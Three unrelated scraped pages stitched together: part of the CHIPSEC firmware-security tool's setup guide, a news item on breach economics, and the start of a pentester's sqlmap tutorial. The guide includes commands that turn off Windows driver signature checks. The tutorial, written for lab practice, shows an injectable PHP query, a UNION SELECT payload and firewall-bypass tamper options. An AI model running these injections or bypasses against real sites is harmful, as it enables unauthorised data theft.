  3. Build chipsec Windows driver \(skip this step if you already have chipsec\_hlpr.sys driver binary for your version of Windows\) See instructions in \source\drivers\win7\readme
  4. Copy chipsec driver \(chipsec\_hlpr.sys\) to proper path in CHIPSEC \source\tool\chipsec\helper\win\win7\_ where is "x86" or "amd64" \(Default path is \source\tool\chipsec\helper\win\win7\_amd64\)
  5. Turn off kernel driver signature checks 
Windows 8 64-bit \(with Secure Boot enabled\) / Windows Server 2012 64-bit
\(with Secure Boot enabled\):

     * In CMD shell: shutdown /r /t 0 /o
     * Navigate: Troubleshooting > Advanced Settings > Startup Options > Reboot
     * After reset choose F7 "Disable driver signature checks" OR
     * Disable Secure Boot in the BIOS setup screen then disable driver signature checks as in Windows 8 with Secure Boot disabled
Windows 7 64-bit \(AMD64\) / Windows Server 2008 64-bit \(AMD64\) / Windows 8
\(with Secure Boot disabled\) / Windows Server 2012 \(with Secure Boot
disabled\)\):

     * Boot in Test mode \(allows self-signed certificates\) 
       * Start CMD.EXE as Adminstrator
       * BcdEdit /set TESTSIGNING ON
       * Reboot If doesn't work, run these additional commands:
       * BcdEdit /set noIntegrityChecks ON
       * BcdEdit /set loadoptions DDISABLE\_INTEGRITY\_CHECKS OR
     * Press F8 when booting Windows and choose "No driver signatures enforcement" option to turn off driver signature checks at all
  6. Notes on loading chipsec kernel driver:
     * On Windows 7, launch CMD.EXE as Administrator
     * CHIPSEC will attempt to automatically register and start its service \(load driver\) or call existing if it's already started.
     * \(OPTIONAL\) You can manually register and start the service/driver. Follow below instructions before running CHIPSEC then run it with "\--exists" command-line option. CHIPSEC will not attempt to start the driver but will call already running driver.
       * To start the service \(in cmd.exe\) sc create chipsec binpath="\chipsec\win\\\chipsec\_hlpr.sys" type= kernel DisplayName="Chipsec driver" sc start chipsec
       * Then to stop/delete service: sc stop chipsec sc delete chipsec OR
       * Open Device Manager
       * Right click on computer name > "Add legacy hardware"
       * Next > "Install the hardware that I manually select from the list \(Advanced\)"
       * Next > Choose "System devices"
       * Next > "Have Disk"
       * Select chipsec.inf

##  UEFI shell

If you don't have bootable USB thumb drive with UEFI Shell yet, you need to
build it: 1\. Download UDK from Tianocore
http://sourceforge.net/apps/mediawiki/tianocore/index.php?title=UDK2010
\(Tested with UDK2010.SR1\) 2\. Follow instructions in DuetPkg/ReadMe.txt to
create a bootable USB thumb drive with UEFI Shell \(DUET\)

Installing CHIPSEC on bootable thumb drive with UEFI shell: 1\. Extract
contents of **install** /UEFI/chipsec\_uefi.7z to the DUET USB drive

  * This will create /efi/Tools directory with Python.efi and /efi/StdLib with subdirectories 
    1. Copy contents of CHIPSEC \(source/tool\) to the DUET USB drive
    2. Reboot to the USB drive \(this will load UEFI shell\)
    3. Run CHIPSEC in UEFI shell a. fs0: b. cd source/tool c. python chipsec\_main.py \(or python chipsec\_util.py\)

\[Extending CHIPSEC functionality for UEFI\] You don't need to read this
section if you don't plan on extending native UEFI functionality for CHIPSEC.

Native functions accessing HW resources are built directly into Python UEFI
port in built-in edk2 module. If you want to add more native functionality to
Python UEFI port for chipsec, you'll need to re-build Python for UEFI:

  1. Check out AppPkg with Python 2.7.2 port for UEFI from SVN http://edk2.svn.sourceforge.net/svnroot/edk2/trunk/edk2
     * You'll also need to check out StdLib and StdLibPrivateInternalFiles packages from SVN
     * Alternatively download latest EADK \(EDK II Application Development Kit\) from http://sourceforge.net/apps/mediawiki/tianocore/index.php?title=EDKII\_EADK EADK includes AppPkg/StdLib/StdLibPrivateInternalFiles. Unfortunately, EADK Alpha 2 doesn't have Python 2.7.2 port so you'll need to check it out SVN
  2. Add functionality to Python port for UEFI 
     * Python 2.7.2 port for UEFI is in \AppPkg\Applications\Python
     * All chipsec related functions are in \AppPkg\Applications\Python\Efi\edk2module.c "\#ifdef CHIPSEC" Asm functions are in \AppPkg\Applications\Python\Efi\cpu.asm
     * e.g. is C:\UDK2010.SR1
  3. Build /AppPkg with Python 
     * Read instructions in \AppPkg\ReadMe.txt and \AppPkg\Applications\Python\PythonReadMe.txt
     * Binaries of AppPkg and Python will be in \Build\AppPkg\DEBUG\_MYTOOLS\X64\
  4. Create directories and copy Python files on DUET USB drive 
     * Do not use Python binaries from python\_uefi.7z, copy newly generated 
     * Read instructions in \AppPkg\Applications\Python\PythonReadMe.txt

##  Linux

Tested on: Linux 3.2.6 x32 \(Mint/Ubuntu\) Linux 2.6.32 x32 \(Ubuntu\) Fedora
20 LXDE 64bit

Creating a Live Linux image with CHIPSEC: 1\. Download things you will need a.
Download chipsec b. liveusb-creator: https://fedorahosted.org/liveusb-creator/
c. desired Linux image \(e.g. 64bit Fedora 20 LXDE\) 2\. Use liveusb-creator
to image a USB stick with the desired linux image. Include as much persistent
storage as possible. 3\. Reboot to USB 4\. Update and install necessary
packages \#> yum install kernel kernel-devel python python-devel gcc 5\. Copy
chipsec to the USB stick

Installing CHIPSEC: 6\. Build Linux driver for CHIPSEC a. cd
source/drivers/linux b. make 7\. Load CHIPSEC driver in running system a. cd
source/drivers/linux b. \(Optional\) chmod 755 run.sh c. sudo ./run.sh or sudo
make install 8\. Run CHIPSEC a. cd source/tool b. sudo python chipsec\_main.py
\(or sudo python chipsec\_util.py\) 9\. Remove CHIPSEC driver after using a.
sudo make uninstall

#  3\. Usage

##  Using CHIPSEC as a standalone utility

Open elevated Windows command shell \(CMD.EXE\) as Administrator

  * In command shell, run chipsec\_main.py > python chipsec\_main.py --help

[code]

    USAGE: chipsec_main.py [options]
    OPTIONS:
    -m --module             specify module to run (example: -m common.bios)
    -a --module_args        additional module arguments, format is 'arg0,arg1..'
    -v --verbose            verbose mode
    -l --log                output to log file
    
    ADVANCED OPTIONS:
    -p --platform           platform in [ SNB | IVB | JKT | BYT | IVT | BDW | HSW | HSX ]
    -n --no_driver          chipsec won't need kernel mode functions so don't load chipsec driver
    -i --ignore_platform    run chipsec even if the platform is an unrecognized platform.
    -e --exists             chipsec service has already been manually installed and started (driver loaded).
    -x --xml                specify filename for xml output (JUnit style).
    -t --moduletype         run tests of a specific type (tag).
    --list_tags             list all the available options for -t,--moduletype
    
[/code]

Use "\--no-driver" command-line option if the module you are executing does
not require loading kernel mode driver Chipsec won't load/unload the driver
and won't try to access existing driver

Use "\--exists" command-line option if you manually installed and start
chipsec driver \(see "install\_readme" file\). Otherwise chipsec will
automatically attempt to create and start its service \(load driver\) or open
existing service if it's already started

  * you can also use CHIPSEC to access various hardware resources: > python chipsec\_util.py help

##  Using CHIPSEC as Python package

  * The directory should contain file 'setup.py'.
  * Install CHIPSEC into your system's site-packages directory: \# python setup.py install

##  Compiling CHIPSEC executables on Windows

  * Directories "bin/" should already contain compiled CHIPSEC binaries: "chipsec\_main.exe", "chipsec\_util.exe"
  * To run all security tests run "chipsec\_main.exe" from "bin" directory: \# chipsec\_main.exe
  * To access hardware resources run "chipsec\_util.exe" from "bin" directory: \# chipsec\_util.exe

If directory "bin" doesn't exist, then you can compile CHIPSEC executables:

  * Install "py2exe" package from http://www.py2exe.org
  * From root chipsec directory run "build\_exe\_.py" as follows: \# python build\_exe\_.py py2exe
  * chipsec\_main.exe, chipsec\_util.exe executables and required libraries will be created in "bin/" directory

#  4\. CHIPSEC Components/Structure

##  Core components

[code]

    chipsec_main.py                   - main application logic and automation functions
    chipsec_util.py                   - utility functions (access to various hardware resources)
    chipsec/chipset.py                - chipset detection
    chipsec/logger.py                 - logging functions
    chipsec/file.py                   - reading from/writing to files 
    chipsec/module_common.py          - common include file for modules 
    chipsec/helper/oshelper.py        - OS helper: wrapper around platform specific code that invokes kernel driver
    chipsec/helper/xmlout.py          - support for JUnit compatible XML output (-x command-line option)
    
[/code]

##  HW Abstraction Layer \(HAL\)

[code]

    chipsec/hal/                      - components responsible for access to hardware (Hardware Abstraction Layer):
    chipsec/hal/pci.py                - Access to PCIe config space
    chipsec/hal/pcidb.py              - Database of PCIe vendor and device IDs
    chipsec/hal/physmem.py            - Access to physical memory
    chipsec/hal/msr.py                - Access to CPU resources (for each CPU thread): Model Specific Registers (MSR), IDT/GDT
    chipsec/hal/mmio.py               - Access to MMIO (Memory Mapped IO) BARs and Memory-Mapped PCI Configuration Space (MMCFG)
    chipsec/hal/spi.py                - Access to SPI Flash parts
    chipsec/hal/ucode.py              - Microcode update specific functionality (for each CPU thread)
    chipsec/hal/io.py                 - Access to Port I/O Space
    chipsec/hal/smbus.py              - Access to SMBus Controller in the PCH
    chipsec/hal/uefi.py               - Main UEFI component using platform specific and common UEFI functionality
    chipsec/hal/uefi_common.py        - Common UEFI functionality (EFI variables, db/dbx decode, etc.)
    chipsec/hal/uefi_platform.py      - Platform specific UEFI functionality (parsing platform specific EFI NVRAM, capsules, etc.)
    chipsec/hal/interrupts.py         - CPU Interrupts specific functions (SMI, NMI)
    chipsec/hal/cmos.py               - CMOS memory specific functions (dump, read/write)
    chipsec/hal/cpuid.py              - CPUID information
    chipsec/hal/spi_descriptor.py     - SPI Flash Descriptor binary parsing functionality
    
[/code]

##  OS/Environment Helpers

[code]

    chipsec/helper/win/               - Windows helper
    chipsec/helper/linux/             - Linux helper
    chipsec/helper/efi/               - UEFI/EFI shell helper
    
[/code]

##  Platform Configuration

[code]

    chipsec/cfg/                      - platform specific configuration includes:
    chipsec/cfg/common.py             - common configuration 
    chipsec/cfg/<platform>.py         - configuration for a specific <platform>
    
[/code]

##  CHIPSEC utility command-line scripts

[code]

    chipsec/utilcmd/                  - command-line extensions for chipsec_util.py
    chipsec/utilcmd/<command>_cmd.py  - implements "chipsec_util <command>" command-line extension
    
[/code]

##  CHIPSEC modules \(security tests, tools\)

[code]

    chipsec/modules/                            - modules including tests or tools (that's where most of the chipsec functionality is)
    chipsec/modules/common/                     - modules common to all platforms
    chipsec/modules/<platform_code>/            - modules specific to <platform_code> platform
    
    chipsec/modules/tools/                      - security tools based on CHIPSEC framework (fuzzers, etc.)
    
[/code]

##  Auxiliary components

[code]

    bist.cmd                                    - built-in self test for various basic HW functionality to make sure it's not broken
    setup.py                                    - setup script to install CHIPSEC as a package
    
[/code]

##  Executable build scripts

[code]

    <CHIPSEC_ROOT>/build/build_exe_*.py         - make files to build Windows executables
    
[/code]

#  5\. CHIPSEC Extension Modules and API

In the most basic sense, a platform module is just a python script with a top-
level function called check\_all\(\). These modules are stored under the
chipsec installation directory in a subdirectory "modules". The "modules"
directory contains one subdirectory for each chipset that chipsec supports.
Internally the chipsec application uses the concept of a module name, which is
a string of the form:

'common.bios\_wp'

This means module 'common.bios\_wp' is a python script called "bios\_wp.py"
that is stored at "\chipsec\modules\common\".

##  Writing Your Own Platform Modules \(security checks\)

  * Implement a function called check\_all\(\) in your module o Use other chipsec components for support o See 'CHIPSEC Components/API' section
  * Copy your module into the "chipsec/modules/" directory structure o Modules specific to certain chipset should be in "chipsec/modules/" directory o Modules common to all supported chipsets should be in "chipsec/modules/common" directory
  * If a new chipset needs to be added: o Create directory for the new chipset in "chipsec/modules" o Create empty "**init**.py" in new directory o Modify "chipsec/chipset.py" to include detection for the chipset you are adding

##  Using Chipsec in a Python Shell

The chipsec.app component can also be run from a python interactive shell or
used in other python scripts. The chipsec.app module contains application
logic in the form of a set of python functions for this purpose:

  * run\_module\('module\_path'\) Immediately calls module.check\_all\(\) and returns. Does not affect internal loaded modules list. 
  * load\_module\('module\_path'\) Loads a module into the internal module list for batch processing 
  * unload\_module\('module\_path'\) Unloads a module from the internal module list
  * load\_my\_modules\(\) Loads all modules from "modules\common" and \(if the current chipset is recognized\) "modules\" into an internal list for batch processing.
  * run\_loaded\_modules\(\) Calls the check\_all\(\) function from every module in the internal loaded modules list
  * clear\_loaded\_modules\(\) Empties the internal loaded module list
  * run\_all\_checks\(\) Calls load\_my\_modules\(\) followed by run\_loaded\_modules\(\) This function executes all existing security checks for a given chipset/platform. Calling this function in Python shell is equivalent to executing standalone "chipsec\_main.py" or "chipsec\_main.exe"

Example:

[code]

    import chipsec_main         
    chipsec_main._cs.init(True) # if chipsec driver is not running
    chipsec_main.load_module('chipsec/modules/common/bios_wp.py')
    chipsec_main.run_loaded_modules()
    
[/code]

# Why Companies Have Little Incentive to Invest in Information Security

**Created:**| _3/9/2015 2:29:21 PM_  
---|---  
**Updated:**| _3/9/2015 2:29:21 PM_  
**Author:**| __  
**Tags:**| __  
  

# Why Companies Have Little Incentive to Invest in Information Security

<img src='img/Temp2_9450.jpg' alt='Why Companies Have Little Incentive to
Invest in Information Security' />

According to a fellow at Columbia University, companies are not investing
significantly more in information security partly because of the influence of
moral hazards, or the act of one entity taking risks because others bear the
burden of those actions.

Benjamin Dean, a staff associate and fellow in cyber-security and internet
governance at the Columbia School of International and Public Affairs,
recently published in an article in _Quartz_ in which he explains how the low
financial fallout from breaches, as well as growing \(albeit misdirected\)
government intervention, help to explain why most companies have little
financial incentive to invest in information security.

In his analysis of the financial impact of a data breach, Dean notes how the
costs of both the Sony and Target breaches amounted to significantly less than
initial estimates due to insurance reimbursement and tax deductions.

For example, analysts predicted that Sony Pictures would likely incur losses
of more than $100 million, but the company reported last month that the costs
would only amount to $35 million.

Similarly, Target stated last month that the gross expenses from the 2013
breach against its systems totaled $252 million. But when one accounts for
insurance reimbursement and tax deductions, the losses only amounted to $105
million.

“These numbers suggest that we have a market failure relating to asymmetric
information, which results in the problem of ‘moral hazard’ for private
companies in the area of information security,” observes Dean.

He goes on to explain that financial organizations incur most of the costs
associated with data breaches, such as by paying for customers’ replacement
credit cards. This coverage, as Dean reasons, only further weakens companies’
insurance reimbursement and tax deductions in the event of a security
incident.

In the meantime, most governments are creating a number of new initiatives
designed to improve information sharing between the public and private sectors
with regards to information security, including Obama’s new Cyber Threat
Intelligence Center, but these do not encourage investments towards securing
customers’ information.

Dean explains: “More costly than the problems they supposedly address, if
anything, they create a disincentive for companies to make this needed
investment by promising blanket protection from cyber-attacks.”

Together, companies’ low financial responsibility following a breach, not to
mention the disproportionate burden placed on banks and the federal
government, paint an unpromising picture of the future.

“If we don’t identify and address these contradictions, we run the risk of
creating something much worse than the current information security problem,”
Dean notes.

“The latest slew of government proposals raise more questions than answers
regarding information security – and they are very concerning questions
indeed.”

To read Benjamin Dean’s article in full, please click here.

Categories Latest Security News

breach, Information Security, risk

* * *
##### About David Bisson

# Exploiting difficult SQL injection vulnerabilities using sqlmap: Part 1

**Created:**| _5/23/2017 12:58:37 PM_  
---|---  
**Updated:**| _5/23/2017 12:58:37 PM_  
**Author:**| __  
**Tags:**| _security tools sql-injection_  
  

  

###  Exploiting difficult SQL injection vulnerabilities using sqlmap: Part 1

###  Introduction

  
A number of times when discovering "tricky" SQL Injection vulnerabilities
during penetration tests, I have taken the approach of exploiting them by
writing custom tools. This usually after spending 5 minutes blindly poking at
the vulnerability with sqlmap, and then stopping when it didn't immediately
magic the answer for me.  
  
OK, there have been a number of times where sqlmap has NOT been a suitable
tool to use for various reasons, such as very particular filtering or data
retrieval requirements, but there has also been a number of cases where I
probably gave up on it too fast because I didn't properly understand how it
worked or the extent of its capabilities. And this resulted in me taking much
longer than necessary to exploit the vulnerability.  
  
While writing custom tools can certainly be "fun" \(for some definitions of
"fun"\), and while it provides some good coding practice and is an excellent
way to ensure that you understand the injection flaw and its exploitation
extremely well, its also very time consuming. Writing your own injection tool
often involves redoing a lot of work that has already been done by others -
the digital equivalent of reinventing the wheel. You need to put together a
capable HTTP sending/receiving framework, you need to parse HTML responses,
you need to discover the \(database specific\) SQL commands that will allow
you to retrieve data within the limitations imposed by the vulnerability, you
need to be able to extract, group, infer, convert and/or join the retrieved
data and you need to mentally map out the logic needed to tie all these parts
together and turn it into working code with a usable interface. Its a
deceptively large amount of effort, especially when blind injection is
involved, and I would consistently underestimate how long it would take to
perform.  
  
Given that sqlmap already has all this functionality, being in particular a
very effective tool for retrieving data via all types of SQL injection
vulnerabilities, I recently decided that it might be a good idea to spend some
of my time to gain an improved understanding of the tool, so that in future I
would be able to make more frequent use of it.  
  
For my vulnerability test bed, I used some of the SQL injection labs from the
Pentester Labs website, namely the Web for Pentester and Web for Pentester II
exercises, because those particular exercises are freely downloadble, easy to
self host and provide some great examples of SQLi vulnerabilities that require
use of some of sqlmap's custom options for exploitation.  
  
This will be the first in a series of posts where I share some of what I
learned during this process. This first post will mainly seek to introduce and
explain the relevant sqlmap options that I used and outline a process that can
be used to get sqlmap to identify an SQL injection flaw that you have
discovered through other testing activities. Future entries will provide
examples of actually using this to exploit SQL injection vulnerabilities that
sqlmap cannot easily detect on its own.  
  

> **Note** : While I will use their content as examples, the intent here is
> NOT to explain how to discover or do manual exploitation of the SQLi
> vulnerabilities in the PentesterLab exercises - because that has already
> been written up in the PentesterLab courseware available at their web site.
> If you don't already know how to do manual discovery of SQLi
> vulnerabilities, you can check out their site, or any of the many other SQLi
> references on the Internet to learn this \(for the record though, I think
> the PentesterLab stuff is a fantastic introduction to web application
> pentesting, and I wish I had access to it when I first started doing webapp
> testing\).
  

###

###  Useful sqlmap options

  
Before I jump into working through specific examples, I wanted to describe the
purpose of some sqlmap options. More advanced use of sqlmap, in terms of
actually tweaking its operation in order to make a difficult injection
operate, will require that you actually understand how these options work. In
essence, this is the README I wish I had received when I moved beyond the bare
basics in my use of the tool, as I definitely would have used sqlmap much more
extensively had I understood these particular options as well as I do now.
Hopefully you can now benefit from my having learned this the "hard" way, e.g.
via trial and error.  
  

####  Prefix and suffix

  
The prefix \(--prefix\) and suffix \(--suffix\) options configure the strings
that should be included with each SQL injection payload in order to begin, and
then terminate, the Injection. So what does this mean exactly?  
  
Take this simple example of an injectible query:  
  

[code]

    $query = "SELECT first_name, last_name FROM users WHERE name = '" . $_GET["username"] . "'";
[/code]

  
  
Whats an example of an injection string that would work here? Something like
the following would work as a simple POC of a union injection.  
  

[code]

    ' UNION SELECT NULL,NULL -- a
[/code]

  
  
This closes the single quoted string before our injection point with a single
quote \('\), seperates the next statement with a space \( \), adds our
injection query of a UNION SELECT with a column count matching that of the
existing SELECT query, and then comments out the remainder of the original
query to ensure syntactical correctness. The prefix in this case is the single
quote and space \(' \) used before the UNION SELECT, and the suffix is the
characters \(a space, two dashes, another space and the letter "a"\) used to
comment out the remainder of the original query \( -- a\).  
  
The following options can be used to configure sqlmap to use this prefix and
suffix:  
  

[code]

     --prefix="' " --suffix=' -- a'
[/code]

  
  
Now, these particular examples of prefixes and suffixes \(or ones that are
functionality identical\) are ones that sqlmap will be able to figure out
itself, so you will rarely need to specify values like this. However, this
hopefully does help you in understanding what these options do, because they
are quite important ones to grasp if you want to use sqlmap for more difficult
injections. In fact, I put these options first in the list of ones I wanted to
describe because as I was working through this process of learning how to make
sqlmap identify certain injection vulnerabilities, these were the ones that I
used the most. Also, finally learning what these did was an "AHA\!" moment for
me, as I have been aware of the options existence for an embarassingly long
time without understanding what they did.  
  

> **Note** : Why use NULL values in the UNION SELECT? NULL is a great value to
> use in UNIONS when trying to determine the correct number of columns in an
> injection, as it can sit in place of a number of different field types, such
> as numbers, strings and dates.
> **Note2** : Why the extra space and the "a" character after the comment?
> Sometimes, inserted comments at the end of an injection are not properly
> recognised by the database unless there is a whitespace character to follow.
> Since whitespace characters on their own are sometimes not easily
> identifiable when displayed on screen \(depending on what other text
> follows\) its helpful to include other text afterwards so you can easily see
> there is something following the comment. You will see sqlmap do this when
> you look at some of the injection strings it uses.
  

####  Specifying Injection technique and tests

  
There are a number of different SQL injection techniques available for use in
sqlmap, which are configured via the --technique option, and sqlmap comes with
a number of different in built tests for exploiting vulnerabilities using
those techniques. By default, sqlmap will enable all possible techniques when
trying to identify an injection vulnerability, and will run all associated
tests that meet the configured risk and level settings \(discussed later\).  
  
If you have manually discovered a SQL injection flaw in a website and want to
use sqlmap to exploit the vulnerability, you may already know the correct
technique, as well as the most appropriate payload configuration to use, and
this is where specifying these options manually can be useful. Manual
specification of these settings helps prevents less effective techniques from
being chosen by sqlmap, and cuts down on the amount of traffic sent by sqlmap
during its detection period.  
  
A brief listing of the injection techniques available for use by sqlmap is
listed below in order of preference. You can select the appropriate ones by
using the --technique switch followed by a listing of the letters associated
with the method/s you wish to use. The default is all options, \(e.g. "--
technique=BEUSTQ"\). The descriptions provided below are only intended as high
level reminders of each technique  

  * **Stacked queries \(S\)** \- This involves stacking whole new SQL queries onto the end of the existing injectable query. Its the preferred method to use if available, because there are a number of exploitation actions that wont be available to you using any other method, however the use of this method does require support from the database and API. You may not necessarily be able to see the results of your stacked query in the page response, so when actually retrieving data \(as opposed to performing other operations such as INSERTS\) you may want to use another technique such as Unions.
  * **Union query based \(U\)** \- This involves retrieving data by joining a second select statement to the original, via the UNION SELECT statement. You need to be able to see the results from the original SELECT query \(and hence your UNION\) in the page response for this method to be usable.
  * **Error based \(E\)** \- This technique retrieves data by manipulating database error messages to directly display that data. To use this method, you need to be able to see database error messages in page responses.
  * **Inline queries \(I\)** \- This technique uses inline database queries to retrieve data - essentially a query embedded within another query like this "SELECT \(SELECT password from user\) from product". I have not personally had the occasion to use this option in sqlmap, and while inline queries can be used more widely than this in manual injection scenarios, it appears that you need to be able to see the inline queries result in the page response for this to be usable through sqlmap.
  * **Boolean blind \(B\)** \- This retrieves data from the database by asking a series of True/False style questions in your injections, and determining the result \(True or False\) based on identifiable changes in the response. To use this option, you need to be able to be able to trigger some sort of identifiable state change in HTTP response content from logically different, but syntactically correct database queries \(e.g. a different page response only resulting from an invalid database query doesn't count here\). This technique will require more requests and time to perform than those previously listed, as the data must be retrieved indirectly via boolean inference.
  * **Time based blind \(T\)** \- This technique is similar to boolean blind, in that it retrieves data via posing a number of True/False style questions to the database, however instead of determining the answers to these questions via the content of a response, it is done using the amount of time a response takes. This is done through associating deliberate delays with particular answers via database statements that consume a noticeable amount of time, like sleep. This is the most time consuming method of data retrieval, and is sensitive to errors introduced by network load. Without careful custom configuration, you may find sqlmap selecting this technique for trickier injection vulnerabilities that can be exploited by more efficient means.

  
  
Selecting a particular technique, or set of techniques will limit the payloads
that sqlmap will use to those associated with that/those technique/s. It is
also possible to further filter the attempted payloads via the --test-filter
and --test-skip options to target payloads that contain \(or do not contain\)
particular text within their name.  
  
If, for example, you know your target SQLi vulnerability exists within the
'ORDER BY' clause of a query, why not filter for only these test payloads by
using:  
  

[code]

    --test-filter='ORDER BY'
[/code]

  
  
In addition, if you write your own custom test payload for an injection, you
can use only that particular payload by setting a filter for a unique string
you have added to the name.  
  
**Note** : To have the best chance of being able to configure sqlmap to detect
and exploit a given difficult vulnerability, its important that you properly
understand the type of injection you wish to use and the requirements for its
exploitation. This is because for injection vulnerabilities that sqlmap cannot
find on its own you have to be able to create an effective POC exploit
manually to use as a basis for correctly setting sqlmap's configuration .
Hopefully this brief summary of the available injection types is appropriately
clear and detailed in order to provide a sufficient refresher, but if you are
unclear on these techniques you may wish to do further research on any
techniques you are unfamiliar with before continuing.  
  
  

####  Risks and levels

  
The risks and levels settings in sqlmap will control which test payloads will
be attempted during the detection run to identify an SQLi vulnerability. Each
test payload has a configured level and risk setting, and if the configured
threshold is not met for that payload during a particular run of the tool,
that particular payload will not be used.  
  
Risk in sqlmap refers to the risk of a failure, potential database damage or
error in data retrieval associted with using an associated payload. Available
risk settings range from 1 to 3, with 1 \(the lowest level\) being the
default.  
  
Level refers to the number of requests required to use that associated payload
for exploitation. Available level settings range from 1 to 5, with 1 again the
default.  
  
A common recommendation given in various usage guides is to increase the risk
and level settings if sqlmap does not identify a vulnerability in its default
configuration, however in my experience for trickier injection vulnerabilities
this change alone is often not sufficient.  
  
  

####  Detection options

  
Using the boolean blind injection technique will often require that you tell
sqlmap what to look for in the HTTP response content in order to distinguish a
True condition from a False. There are a number of options in sqlmap that
allow you to configure this behavior, such as --string and --not-string
\(configuring strings that should appear in True and False responses
respectively\), --regexp \(allowing you to set a regular expression to match
to determine the True condition\), --code \(provide a HTTP status code to
match True\), --text-only \(compare responses based on text content\) and
--titles \(compare responses based on page title\).  
  
A neat thing you can do with the --string and --not-string settings is to use
Python hexadecimal backslash quoting to do multi line matching. Here is an
example showing how to match a section of HTML that includes newlines \(\x0a\)
and tabs \(\x09\).  
  
  

[code]

    --string='Name\x0a\x09\x09Stephen'
[/code]

  
When your detection needs are more complex than what can be satisfied by the
above options, there is also another sqlmap feature that with a little bit of
imagination you can abuse in order to perform more complex comparative logic,
which leads us to...  

####  
Second order injection

  
sqlmap contains a --second-order option, which is intended to be used to
enable exploitation of second order SQL injection vulnerabilities, where the
results of an SQL injection need to be retrieved from a different URL than
that is used to actually perform the injection. The option allows you to
provide a single URL which will be requested by sqlmap after each injection
payload is sent, and then parsed as per normal configured sqlmap behavior.  
  
By setting the --second-order option to point to your own locally run custom
forwarding and parsing server, you can make use of this option to return
arbitrary content to sqlmap, perhaps based on data you have automatically
retrieved from the target site. This capability can be used to do things such
as retrieve data from a dynamically changing second order URL at the target
site, or to retrieve content from the remote site and perform complex parsing
or logic checks on it, passing through to sqlmap something that it can process
using its inbuilt functionality.  
  
This link contains a modifiable second-order forwarding server that I wrote in
Python to work with sqlmap, which can be run locally from the command line. It
starts its own http server locally on the loopback address, and when it
receives a request from sqlmap it can request data from another website, then
return the \(optionally\) parsed data back to sqlmap. It is based on Python
classes that I wrote specifically to facilitate reuse and modification, so if
you can code simple Python you can change it to do any parsing or fetching job
you wish.  
  
  

####  Tamper scripts

  
Tamper scripts in sqlmap allow you to make programmatic changes to all the
request payloads sent by sqlmap, in order to facilitate the bypass of web
application firewalls and other filters. If you are dealing with filters that
prohibit, for example, all whitespace within an injection string, there is a
tamper script configured that can help \(--tamper=space2comment\). A
reasonably up to date listing of available tamper scripts and their purpose is
available here.  
  
  

####  Custom written test payloads

  
sqlmap comes configured with a large number of test payloads that it can use
to perform injections. These are defined within xml files named after the
associated injection technique stored in xml/payloads under the sqlmap root
path. You can add your own payloads into these files by copying the xml nodes
of an existing test \(one thats simlar to the one you want to create\) and
modifying it as required. There is an example of doing this here, and a
specific example of how to use custom test payloads to exploit a boolean blind
issue inside the ORDER BY clause will be provided in a future post.  
  
  

####  Verbosity and debugging injection checks

  
One extremely useful option for troubleshooting sqlmap's detection process is
the output verbosity option. The specific setting I use most frequently when
getting an injection working is -v3, which will show each raw payload that is
sent by sqlmap. This allows you to compare the payloads sent by sqlmap to your
own POC SQL injection string developed during discovery of the vulnerability,
to determine where sqlmap is incorrectly diverging. If you need to use tamper
scripts as well to bypass a filter, you can try verbosity level -v4 to also
see the HTTP requests sent, as -v3 verbosity will not show the affect of
tamper scripts.  
  

> **Note** : You can also configure sqlmap to work through an intercepting
> proxy for debugging purposes. However, while I generally always have Burp
> Suite running when Im testing any web application, I usually prefer to avoid
> filling up my proxy history and slowing down the operation of sqlmap by
> doing this. Sometimes, if I really want to have a close look at requests and
> responses, I will run up a separate proxy instance using something like ZA
> Proxy.
  

####  
Auto answering

  
Under certain circumstances, sqlmap will ask you the same set of one or more
repeated questions every time you run the tool. Some of these questions are
without their own associated command line options, and therefore without an
obvious way to inform sqlmap of the desired behavior so you don't have to
repeatedly answer the same question the same way every time sqlmap prompts
you. The --answers option allows you to provide a standard response to these
questions - to use it, pick a unique term from the question itself, and
provide this along with the desired response.  
  
For example, to preemptively answer Yes to allow sqlmap to attempt to
"optimize" timing settings during blind timing based injections, use the
following.  
  

[code]

    --answers='optimize=Y'
[/code]

  

####  Session flushing

  
sqlmap keeps session information about each url, including which techniques
and payloads have been confirmed to work and what data has been retrieved from
the site. If a non optimal payload type has been associated with a particular
url within the relevant session, you may want to clear that session
information in order to try and get a new payload to work. You can flush all
data associated with a URL, and force the detection process to run again,
using the following option.  
  

[code]

    --flush-session
[/code]

  

####  
Other options

  
Some other options I commonly use are the parameter option which specifies
which parameter is used to perform the injection \(e.g. -p
'vulnerable\_parameter'\) and the options to specify the database \(e.g.
--dbms='mysql'\) and the Operating System \(--os='linux'\) in use on the
remote server. These all help sqlmap to avoid making extraneous requests
beyond what you already know will be effective based on your knowledge of the
target web application. Sometimes of course the injection point is not within
a parameter, in which case sqlmap has other options which can be used to
target its operation, such as the asterisk character \(\*\) which can be used
to set manual injection point within a request.  
  
  

###

###  Tweaking sqlmap options to detect tricky injections

  
Before you can use sqlmap to effectively exploit an injection issue, you must
get it to detect the vulnerability, which associates one or more injection
techniques and payloads with the URL associated with the issue. Once this has
occurred, the detection process does not need to run again, and sqlmaps
options for exploitation and data retrieval can be immediately used on
subsequent executions of the tool.  
  
The following is the process I use for taking a manually discovered SQL
injection vulnerability and configuring sqlmap to exploit it.  

  1. Develop the manual exploit to the point where a POC for the best applicable exploitation technique exists. For a UNION SELECT vulnerability, this means you want to discover the number of columns in the UNION, and perhaps also the datatypes of each column \(numeric, text, date, etc\). For a boolean blind, you will want to be able to trigger different pages responses for True and False conditions, and determine how you could differentiate the True response from the False. For a time based blind, you want to get a response to delay for a given period of seconds based on the success or failure of some comparison you make, etc. This step will also include working out whether any specific characters are restricted by some sort of filter or other application issue, and hence are unusable in performing the injection.
  

  2. Run sqlmap, configuring the backend database type \(--dbms\), Operating System \(--os\), and technique \(--technique\) options to specifically target the manually discovered issue. Set the parameter \(-p\) option as well if the injection is in a URL or POST data parameter, or use other options such as the injection point asterisk \(\*\) as appropriate to tell sqlmap exactly where the injection is located. This helps focus the detection process, minimising requests sent and time taken by ignoring non-vulnerable parameters and payloads that target other databases or are associated with unwanted injection techniques. You may also need to provide proxy details, cookies or other authentication options, CSRF management options, safe URL settings to avoid lockouts, etc as appropriate, to ensure that sqlmap can correctly send and receive HTTP requests and responses. If you have already created a manual injection POC in a separate tool you should already know all the correct settings to use for this purpose. Leave all other options at the default. I do all my manual testing using Burp Suite Professional, so I use the CO2 plugin and its SQLMapper component to quickly set the relevant command line options. From this point on in the process, as soon as you get sqlmap to detect the vulnerability, you can skip the remaining steps \(hopefully thats obvious\). 
  

